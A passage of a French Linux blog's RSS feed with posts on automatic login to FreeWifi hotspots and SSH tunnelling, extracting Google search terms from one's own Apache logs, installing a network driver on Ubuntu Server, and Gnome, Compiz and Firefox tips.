<p>Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau <em>FreeWifi</em> (très connu)&nbsp;:</p>
<pre>#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'FreeWifi')
            wget -qO- https://wifi.free.fr/Auth --post-data='login=<em>IDENTIFIANT</em>&amp;password=<em>MOT_DE_PASSE</em>' ;;
    esac
fi</pre>
<h3>Tunnel SSH</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/07/openssh.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/openssh.png" alt="" title="openssh" width="150" height="148" class="alignright size-full wp-image-2792" /></a><br />
Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés&nbsp;: n&#8217;importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic.<br />
Si vous avez un ordinateur allumé chez vous (sur un réseau &laquo;&nbsp;sûr&nbsp;&raquo;) accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.</p>
<p>Le principe est simple&nbsp;: dès que vous accédez à un serveur (par exemple en tapant l&#8217;URL dans un navigateur web), l&#8217;ordinateur ne va pas s&#8217;y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s&#8217;y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un <a href="http://fr.wikipedia.org/wiki/SOCKS">proxy SOCKS</a> écoutant sur un port local (par exemple <code>localhost:3128</code>).</p>
<p>Pour démarrer le tunnel&nbsp;:</p>
<pre>ssh monserveur -CND3128</pre>
<p>Pour configurer le système afin qu&#8217;il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (<code>gnome-network-properties</code>), puis configurer comme sur la capture d&#8217;écran&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/07/proxy.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/proxy-300x238.png" alt="" title="proxy" width="300" height="238" class="aligncenter size-medium wp-image-2794" /></a><br />
Dans l&#8217;onglet <em>Hôtes à ignorer</em>, rajouter l&#8217;adresse de la page d&#8217;authentification.</p>
<p>Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s&#8217;ils le proposent).</p>
<p>Pour <em>Firefox</em>, il est également recommandé dans <a href="about:config">about:config</a> de passer la variable <code>network.proxy.socks_remote_dns</code> à <code>true</code>, afin que les DNS soient résolus également de l&#8217;autre côté du tunnel (sur le réseau &laquo;&nbsp;sûr&nbsp;&raquo;).</p>
<p>Vous trouverez plus d&#8217;infos sur mon <a href="http://blog.rom1v.com/2008/08/presentation-de-ssh/">billet concernant SSH</a>.</p>
<h3>Conclusion</h3>
<p>La connexion à des points d&#8217;accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d&#8217;utilisation devient rapidement insupportable. Il est donc appréciable de l&#8217;automatiser.</p>
<p>De plus, ces réseaux ne sont pas &laquo;&nbsp;sûrs&nbsp;&raquo;, n&#8217;importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Extraire les recherches Google des logs Apache</title>
		<link>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/</link>
		<comments>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 13:10:36 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Insolite]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2685</guid>
		<description><![CDATA[Aujourd&#8217;hui, c&#8217;est un billet de distraction pour geeks. Lister les recherches Si vous utilisez Apache, voici une commande qui liste dans l&#8217;ordre alphabétique les recherches Google ayant permis aux internautes d&#8217;arriver sur vos sites&#160;: php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*&#124;grep -o '[?&#038;]q=[^&#038;"]*'&#124;cut -c4-`\");"&#124;sort&#124;uniq -c EDIT 25/06/2011&#160;: cette commande semble échouer lorsque la liste des recherches [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui, c&#8217;est un billet de <em>distraction pour geeks</em>.</p>
<h3>Lister les recherches</h3>
<p>Si vous utilisez <em>Apache</em>, voici une commande qui liste dans l&#8217;ordre alphabétique les recherches <em>Google</em> ayant permis aux internautes d&#8217;arriver sur vos sites&nbsp;:</p>
<pre>php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&#038;]q=[^&#038;"]*'|cut -c4-`\");"|sort|uniq -c</pre>
<p><em><strong>EDIT 25/06/2011&nbsp;:</strong> cette commande <a href="http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/#comment-67664">semble échouer</a> lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.</em><br />
(pour les autres moteurs de recherche, il faudrait s&#8217;inspirer de ce qu&#8217;ont fait les développeurs de <a href="http://piwik.org/faq/general/#faq_39">Piwik</a>)</p>
<p>Voici à quoi ressemble le résultat de la commande&nbsp;:</p>
<pre>      1 ubtunu tiny tiny rss
      5 ubuntu
      1 ubuntu 10.04 change startup screen
      1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
      3 ubuntu 10.04 cryptage
      1 ubuntu 10.04 écran grub invisible au démarrage
      2 ubuntu 10.04 ecran noir nvidia
      1 ubuntu 10.04 et video nvidia
      1 ubuntu 10.04 grub nvidia
      1 ubuntu 10.04 grub-pc couleur
      4 ubuntu 10.04 installation partition home chiffrée</pre>
<p>Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.</p>
<h3>Analyse</h3>
<h4>Billets les plus recherchés</h4>
<p>Sans conteste, les deux billets qui amènent le plus d&#8217;internautes par <em>Google</em> concernent <a href="http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/">pluzz</a> et <a href="http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/">apk</a>. Et parfois ça ne doit pas les aider beaucoup&nbsp;: certains recherchent par exemple <em>&laquo;&nbsp;pluzz plus belle la vie&nbsp;&raquo;</em> dans <em>Google</em> à partir d&#8217;<em>Internet Explorer</em>, je ne suis pas sûr que mon script shell pour <em>pluzz</em> réponde à leurs attentes.</p>
<h4>Recherches insolites</h4>
<p>Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j&#8217;ai trouvées dans mes logs&nbsp;:</p>
<ul>
<li><em>&laquo;&nbsp;clitoris.apk&nbsp;&raquo;</em> : il y a vraiment une application pour tout&nbsp;!</li>
<li><em>&laquo;&nbsp;comment afficher 350 sous linux&nbsp;&raquo;</em> : c&#8217;est si différent que sur les autres systèmes d&#8217;exploitation&nbsp;?</li>
<li><em>&laquo;&nbsp;comment on invente une machine pour voler à usage individuelle&nbsp;&raquo;</em>&nbsp;: dérober ou s&#8217;envoler&nbsp;?</li>
<li><em>&laquo;&nbsp;du-ble-plein-les-poches es ce une arnaque&nbsp;&raquo;</em>&nbsp;: sans doute…</li>
<li><em>&laquo;&nbsp;est-il possible de prelever de l&#8217;argent sans que ça se voit sur le compte&nbsp;&raquo;</em>&nbsp;: je veux rester discret…</li>
<li><em>&laquo;&nbsp;l&#8217;ecran d&#8217;un ordinateur portable est de 14,1 pouce avec 1024*768 pixel quelle est la taille de l&#8217;ecran N*H en cm ?&nbsp;&raquo;</em>&nbsp;: le moteur de recherche, j&#8217;en suis sûr, va comprendre ma question, faire le calcul, et me répondre…</li>
<li><em>&laquo;&nbsp;logiciel adopy&nbsp;&raquo;</em>&nbsp;: comme ça se prononce&nbsp;!</li>
<li><em>&laquo;&nbsp;pour quel raison on doit interdire le zoo&nbsp;&raquo;</em>&nbsp;: les animaux c&#8217;est dangereux&nbsp;!
</li>
</ul>
<p>Il y a certains sites qui s&#8217;amusent à référencer ce genre de recherches, par exemple <a href="http://devenirunninjagratuitement.tumblr.com/">Comment devenir un ninja gratuitement&nbsp;?</a></p>
<p>N&#8217;hésitez pas à poster les vôtres…</p>
<h3>Challenge</h3>
<p>J&#8217;ai essayé d&#8217;écrire la commande la plus courte possible. Je n&#8217;ai pas réussi à faire moins de <strong>129 caractères</strong> sans perdre d&#8217;information ou prendre plus de risque (par exemple on pourrait remplacer <code>apache2</code> par <code>a*2</code>, mais c&#8217;est plus risqué).</p>
<p>Par contre, cette commande ne fonctionne pas correctement si l&#8217;on rajoute <code>|less</code> (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).<br />
Une autre commande, sans <code>php</code> (en 141 caractères), ne pose pas ce problème&nbsp;:</p>
<pre>zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&#038;]q=[^&#038;"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c</pre>
<p>Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3>Scripts</h3>
<p><a href="http://www.bortzmeyer.org/je-parle-a-mon-moteur-de-recherche.html">D&#8217;autres</a> ont fait <a href="http://www.bortzmeyer.org/files/SearchEngineQueries.py">des scripts plus complets</a>, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l&#8217;internaute est arrivé en effectuant cette recherche…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Installer Ubuntu Server sur un Shuttle XS35</title>
		<link>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/</link>
		<comments>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 22:21:48 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2384</guid>
		<description><![CDATA[Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n&#8217;y a pas de ventilateur) et consomme peu. Je n&#8217;envisageais pas d&#8217;écrire un billet, mais l&#8217;installation d&#8217;Ubuntu Server 11.04 ne se déroule pas sans incidents&#160;: Aucune interface réseau n&#8217;a été détectée C&#8217;est le genre de problèmes qu&#8217;on espère un jour [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/XS35.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/XS35-146x300.jpg" alt="" title="XS35" width="146" height="300" class="alignright size-medium wp-image-2385" /></a></p>
<p>Je viens de migrer mon <a href="http://blog.rom1v.com/2009/01/nouveau-blog-100-libre/">auto-hébergement</a> vers cette <a href="http://www.shuttle.eu/fr/produits/discontinued/barebones/xs35gt/apercu/">nouvelle machine</a>. Elle est très silencieuse (il n&#8217;y a pas de ventilateur) et consomme peu.</p>
<p>Je n&#8217;envisageais pas d&#8217;écrire un billet, mais l&#8217;installation d&#8217;<em>Ubuntu Server 11.04</em> ne se déroule pas sans incidents&nbsp;:</p>
<blockquote><p>Aucune interface réseau n&#8217;a été détectée</p></blockquote>
<p>C&#8217;est le genre de problèmes qu&#8217;on espère un jour ne plus connaître lorsqu&#8217;on installe une distribution… Surtout lorsque ce problème en provoque d&#8217;autres… Ceci est donc un <em>aide-mémoire</em> qui me sera utile pour une future installation.</p>
<h3>Installation</h3>
<p>Tout d&#8217;abord, il faut ignorer le message d&#8217;erreur, tant pis, l&#8217;installation sera effectuée sans réseau.</p>
<p>Ensuite la section <em>Choisir et installer des logiciels</em>, il ne faut surtout pas activer <code>Mail</code> (<code>postfix</code> et <code>dovecot</code>) dans la liste&nbsp;: cela ferait planter le processus d&#8217;installation car il ne trouve pas d&#8217;interface réseau. En effet, dans <code>/var/log/syslog</code>, on trouve une erreur du genre&nbsp;:</p>
<pre>postfix/sendmail: fatal: could not find any active network interfaces</pre>
<p>On installera donc le serveur mail plus tard.</p>
<p>En suivant ces conseils, l&#8217;installation doit se dérouler correctement.</p>
<h3>Récupération des pilotes</h3>
<p>À partir d&#8217;un autre ordinateur, récupérer la dernière version des <a href="ftp://driver.jmicron.com.tw/Ethernet/Linux/">sources du pilote</a> (j&#8217;en fait une <a href="http://dl.rom1v.com/drivers-shuttle-xs35/jme-1.0.7.1.tbz2">copie</a> chez moi, au cas où).</p>
<p>Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter <code>sudo make install</code>. Sauf que <code>make</code> n&#8217;est pas installé par défaut sur <em>Ubuntu Server</em> (merci <em>Ubuntu</em>&nbsp;!), et pour l&#8217;installer, il faut le réseau… qu&#8217;on aura une fois qu&#8217;on aura installé les pilotes…</p>
<p>Heureusement, on peut s&#8217;en sortir manuellement. Pour cela, sur un ordinateur qui possède <code>make</code> (avec le même noyau pour la même architecture), extraire les sources de l&#8217;archive dans un répertoire et exécuter&nbsp;:</p>
<pre>tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make</pre>
<p>Cela crée un fichier <a href="http://dl.rom1v.com/drivers/jme.ko"><code>jme.ko</code></a> (je suis gentil, je vous donne le fichier déjà compilé pour le noyau <code>2.6.38-8-server</code> en <code>amd64</code>). Le copier sur une clé USB.</p>
<h3>Installation des pilotes</h3>
<p>Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme <code>/dev/sdX1</code>). Pour cela, (une technique parmi d&#8217;autres) juste après l&#8217;avoir branchée, exécuter&nbsp;:</p>
<pre>tail /var/log/syslog</pre>
<p>La commande doit afficher plusieurs lignes ressemblant à ceci&nbsp;:</p>
<pre>Jun  6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk</pre>
<p>Ici, l&#8217;emplacement est donc <code>/dev/sdb1</code>.</p>
<p>Monter donc la clé&nbsp;:</p>
<pre>sudo mount /dev/sdb1 /mnt</pre>
<p>Puis installer le pilote compilé au bon endroit et l&#8217;activer&nbsp;:</p>
<pre>sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme</pre>
<h3>Finaliser l&#8217;installation</h3>
<p>Ajouter à la fin de <code>/etc/network/interfaces</code>&nbsp;:</p>
<pre>auto eth0
iface eth0 inet dhcp</pre>
<p>Et rebooter&nbsp;:</p>
<pre>sudo reboot</pre>
<p>Normalement, la carte devrait être détectée (on peut tester avec <code>ifconfig</code>).</p>
<p>Si tout est OK, on peut maintenant <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">installer le serveur mail</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>1101 astuces pour Ubuntu 10.10</title>
		<link>http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/</link>
		<comments>http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/#comments</comments>
		<pubDate>Fri, 05 Nov 2010 14:11:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[compiz]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[gnome]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1958</guid>
		<description><![CDATA[Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous Ubuntu (Gnome, Compiz et Firefox plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques. 1101 est à lire en binaire, ça fait légèrement moins qu&#8217;en décimal Gnome Positionnement d&#8217;un ascenseur [...]]]></description>
			<content:encoded><![CDATA[<p>Dans ce billet, je vais partager avec vous quelques astuces pour des opérations courantes sous <em>Ubuntu</em> (<em>Gnome</em>, <em>Compiz</em> et <em>Firefox</em> plus précisément). Je me suis aperçu que finalement beaucoup ne connaissaient pas certains de ces petits détails bien pratiques.</p>
<p><em>1101 est à lire en binaire, ça fait légèrement moins qu&#8217;en décimal <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </em></p>
<h3>Gnome</h3>
<h4>Positionnement d&#8217;un ascenseur</h4>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/11/position-scrollbar.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/position-scrollbar.png" alt="" title="position-scrollbar" width="48" height="115" class="alignright size-full wp-image-1962" /></a><br />
Il y a plusieurs interactions possibles avec un &laquo;&nbsp;ascenseur&nbsp;&raquo; (horizontal ou vertical)&nbsp;:</p>
<ul>
<li>un clic sur les petites flèches permettent de déplacer le curseur ligne par ligne&nbsp;;</li>
<li>un clic dans la partie grisée permet de déplacer le curseur page par page&nbsp;;</li>
<li>un glisser-déposer (clic gauche maintenu sur le curseur pendant un déplacement) permet de placer le curseur à volonté.
</li>
</ul>
<p>Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d&#8217;aller chercher le curseur)&nbsp;: il suffit de <strong>cliquer avec le bouton du milieu à la position désirée dans la barre</strong>, le curseur va s&#8217;y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.</p>
<p>Ceci fonctionne également pour les <em>sliders</em>, par exemple pour le contrôle du volume dans l&#8217;applet de son de <em>Gnome</em>, ou pour la barre d&#8217;avancement d&#8217;un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).</p>
<h4>Contrôle du volume</h4>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/11/sound-applet.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/sound-applet.png" alt="" title="sound-applet" width="38" height="39" class="alignright size-full wp-image-1969" /></a><br />
Lorsque l&#8217;on clique sur l&#8217;applet de son de <em>Gnome</em>, un <em>slider</em> permettant de changer le volume apparaît. Mais il est également possible de <strong>survoler l&#8217;icône de son et d&#8217;augmenter ou de diminuer le volume grâce à la molette de la souris</strong>, sans cliquer.</p>
<h4>Déplacement d&#8217;un applet</h4>
<p>Sous <em>Gnome</em>, les barres du haut et du bas accueillent des <em>applets</em>. Avec un clic-droit sur l&#8217;un d&#8217;entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/gnome-panel.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/gnome-panel-300x117.png" alt="" title="gnome-panel" width="300" height="117" class="aligncenter size-medium wp-image-1983" /></a><br />
Si l&#8217;applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple&nbsp;: <strong>glisser-déposer l&#8217;applet en utilisant le clic milieu</strong> (cliquer et maintenir enfoncé le clic milieu et déplacer l&#8217;applet).</p>
<p>Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.</p>
<h4>Double-panneau Nautilus</h4>
<p>Nautilus permet d&#8217;<strong>afficher deux panneaux côte à côte en pressant la touche <em>F3</em></strong>.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/nautilus-f3.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/nautilus-f3-300x178.png" alt="" title="nautilus-f3" width="300" height="178" class="aligncenter size-medium wp-image-1980" /></a><br />
Une seconde pression sur <em>F3</em> repasse en mode &laquo;&nbsp;un seul panneau&nbsp;&raquo; (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l&#8217;utilisation de plusieurs fenêtres ou même d&#8217;onglets.</p>
<h4>Renommage avec ou sans extension</h4>
<p>Pour renommer un fichier dans <em>Nautilus</em>, vous connaissez sûrement la touche <em>F2</em>, qui renomme en présélectionnant le nom du fichier <em>sans</em> l&#8217;extension&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/rename.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/rename.png" alt="" title="rename" width="139" height="87" class="aligncenter size-full wp-image-1985" /></a><br />
Mais il est également possible de <strong>renommer en présélectionnant le nom du fichier <em>avec</em> l&#8217;extension, grâce à <em>Shift+F2</em></strong>.<br />
<em><strong>EDIT&nbsp;:</strong> Ou alors, <a href="http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/#comment-57658">deux fois F2</a>.</em></p>
<h3>Compiz</h3>
<h4>Déplacement d&#8217;une fenêtre</h4>
<p>Cette fonctionnalité est assez connue et utilisée je pense, puisqu&#8217;elle fonctionne avec quasiment tous les gestionnaires de fenêtres&nbsp;: <strong>le déplacement d&#8217;une fenêtre grâce à <em>Alt+clic gauche</em></strong>. Elle est très pratique, car elle évite d&#8217;aller chercher la barre de titre pour déplacer une fenêtre.</p>
<h4>Redimensionnement d&#8217;une fenêtre</h4>
<p>De la même manière, il est possible de <strong>redimensionner une fenêtre grâce à <em>Alt+clic milieu</em></strong>. Celle-ci est quasiment indispensable, tellement le fait d&#8217;aller chercher un bord de fenêtre est &laquo;&nbsp;coûteux&nbsp;&raquo;.<br />
La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche <em>Alt</em> et que vous appuyez sur le <em>clic milieu</em> au-dessus d&#8217;une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la &laquo;&nbsp;partie&nbsp;&raquo; de la fenêtre que vous survolez).<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/resize.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/resize-300x187.png" alt="" title="resize" width="300" height="187" class="aligncenter size-medium wp-image-1990" /></a></p>
<h4>Capture d&#8217;écran rapide par zone</h4>
<p>Grâce à <em>Compiz</em>, il est possible de <strong>capturer très simplement une zone de l&#8217;écran, grâce à <em>Super+clic gauche</em></strong> (la touche <em>Super</em> est la touche <em>Windows</em> sur la majorité des claviers)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/quick-screenshot.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/quick-screenshot-300x165.png" alt="" title="quick-screenshot" width="300" height="165" class="aligncenter size-medium wp-image-1993" /></a><br />
Pour cela, il faut activer le plug-in &laquo;&nbsp;Capture d&#8217;écran&nbsp;&raquo; dans <code>ccsm</code> (<a href="apt://compizconfig-settings-manager">compizconfig-settings-manager</a> doit être installé), et choisir un répertoire de destination (le bureau par exemple, j&#8217;en avais <a href="http://blog.rom1v.com/2008/08/screenshots-sous-ubuntu-plusieurs-methodes-a-connaitre/">déjà parlé ici</a>).</p>
<h4>Changement de bureau</h4>
<p>Par défaut, le changement de bureau est désactivé lors du déplacement d&#8217;une fenêtre sur un bord et lors d&#8217;un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l&#8217;activer.<br />
Cela se configure dans <code>ccsm</code> (là encore, <a href="apt://compizconfig-settings-manager">compizconfig-settings-manager</a> doit être installé).</p>
<p>Pour changer de bureau lors d&#8217;un déplacement de fenêtre au bord de l&#8217;écran&nbsp;: <strong><em>Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher)</em></strong>.<br />
Pour changer de bureau lors d&#8217;un scroll&nbsp;: <strong><em>Changeur de bureau → Desktop-based viewport switching → Bureau suivant&nbsp;= Button5&nbsp;; Bureau précédent&nbsp;= Button4</em></strong>.</p>
<h3>Firefox</h3>
<h4>Ajout d&#8217;un lien dans gnome-panel</h4>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-gnome-panel.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-gnome-panel.png" alt="" title="firefox-gnome-panel" width="107" height="113" class="alignright size-full wp-image-2002" /></a><br />
Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l&#8217;utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de <em>Gnome</em>, pour une page que je veux lire plus tard.<br />
Pour cela, il suffit de <strong>glisser-déposer le petit icône</strong> (le <em>favicon</em>) <strong>à gauche de la barre d&#8217;adresse vers la barre de <em>Gnome</em></strong>. Il est par contre regrettable que l&#8217;icône du raccourci ainsi créé ne soit pas le <em>favicon</em>.</p>
<h4>Suppression d&#8217;un historique de liste déroulante</h4>
<p>Lorsqu&#8217;une liste déroulante propose des résultats déjà entrés auparavant (à partir de l&#8217;historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en <strong>survolant avec la souris l&#8217;entrée correspondante et en appuyant sur <em>Shift+Suppr</em></strong>.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-history.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-history.png" alt="" title="firefox-history" width="268" height="68" class="aligncenter size-full wp-image-2011" /></a></p>
<p>Cela fonctionne dans la barre d&#8217;adresse, dans la barre de recherche et dans toute entrée de formulaire d&#8217;une page web.</p>
<h4>Chargement d&#8217;une URL par un clic milieu</h4>
<p>Lorsqu&#8217;une URL est présente dans le presse-papier, il est possible de la charger dans <em>Firefox</em> avec un simple clic milieu. Pour activer cette fonctionnalité, il faut taper <code>about:config</code> dans la barre d&#8217;adresse et passer la valeur de <code>middlemouse.contentLoadURL</code> à <code>true</code>.</p>
<p>Il suffit alors de <strong>surligner une URL</strong> (dans un fichier texte par exemple) <strong>puis de cliquer milieu dans le contenu d&#8217;une page dans <em>Firefox</em></strong> (sur un espace &laquo;&nbsp;vide&nbsp;&raquo;, pas sur un lien ou dans un champ de formulaire).</p>
<p><em><strong>EDIT&nbsp;:</strong> Ou sans modifier la configuration par défaut, voir commentaire <a href="http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/#comment-57632">#1</a>.</em></p>
<h4>Notifications intégrées</h4>
<p>Les notifications de <em>Firefox</em> ne sont pas intégrées au système&nbsp;: par défaut c&#8217;est un rectangle qui s&#8217;ouvre en bas à droite.<br />
Pour utiliser le système de notification d&#8217;<em>Ubuntu</em>, il suffit d&#8217;installer le paquet <a href="apt://xul-ext-notify">xul-ext-notify</a> (anciennement <code>firefox-notify</code>) et de redémarrer <em>Firefox</em>. C&#8217;est dommage qu&#8217;il ne soit pas installé par défaut.<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-notify.png"><img src="http://blog.rom1v.com/wp-content/uploads/2010/11/firefox-notify-300x77.png" alt="" title="firefox-notify" width="300" height="77" class="aligncenter size-medium wp-image-2014" /></a></p>
<h3>Conclusion</h3>
<p>Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d&#8217;autres, n&#8217;hésitez pas à les détailler. <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2010/11/1101-astuces-pour-ubuntu-10-10/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>Pluzz.fr : France Televisions lance son service de TV de rattrapage non lisible</title>
		<link>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/</link>
		<comments>http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 14:57:11 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Humeur]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[drm]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=1669</guid>
		<description><![CDATA[Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d&#8217;accepter d&#8217;installer un système d&#8217;exploitation particulier avec un logiciel particulier (propriétaires évidemment). C&#8217;est comme s&#8217;ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d&#8217;une TV Sony ou Philips, et pas [...]]]></description>
